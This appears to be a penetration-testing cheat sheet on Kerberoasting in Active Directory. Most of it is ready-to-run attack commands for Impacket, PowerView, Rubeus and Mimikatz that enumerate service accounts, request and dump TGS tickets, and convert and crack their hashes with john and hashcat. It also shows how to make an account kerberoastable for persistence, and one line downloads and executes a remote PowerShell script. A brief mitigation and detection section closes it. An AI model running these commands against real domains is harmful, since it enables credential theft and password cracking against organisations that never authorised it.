# Kerberoast

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## Kerberoast

The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.\
You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**.

Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.

**You need valid credentials inside the domain.**

### **Attack**

{% hint style="warning" %}
**Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\
RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.`
{% endhint %}

#### **Linux**

```bash
msf> use auxiliary/gather/get_user_spns
GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
```

#### Windows

* **Enumerate Kerberoastable users**

```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberosat /stats
```

* **Technique 1: Ask for TGS and dump it from memory**

```powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local 

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```

* **Technique 2: Automatic tools**

```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```



{% hint style="warning" %}
When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
{% endhint %}



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### Cracking

```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```

### Persistence

If you have **enough permissions** over a user you can **make it kerberoastable**:

```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```

You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)

If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC: `ntpdate <IP of DC>`

### Mitigation

Kerberoast is very stealthy if exploitable

* Security Event ID 4769 – A Kerberos ticket was requested
* Since 4769 is very frequent, lets filter the results:
  * Service name should not be krbtgt
  * Service name does not end with $ (to filter out machine accounts used for services)
  * Account name should not be machine@domain (to filter out requests from machines)
  * Failure code is '0x0' (to filter out failures, 0x0 is success)
  * Most importantly, ticket encryption type is 0x17
* Mitigation:
  * Service Account Passwords should be hard to guess (greater than 25 characters)
  * Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)

```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```

**More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.**

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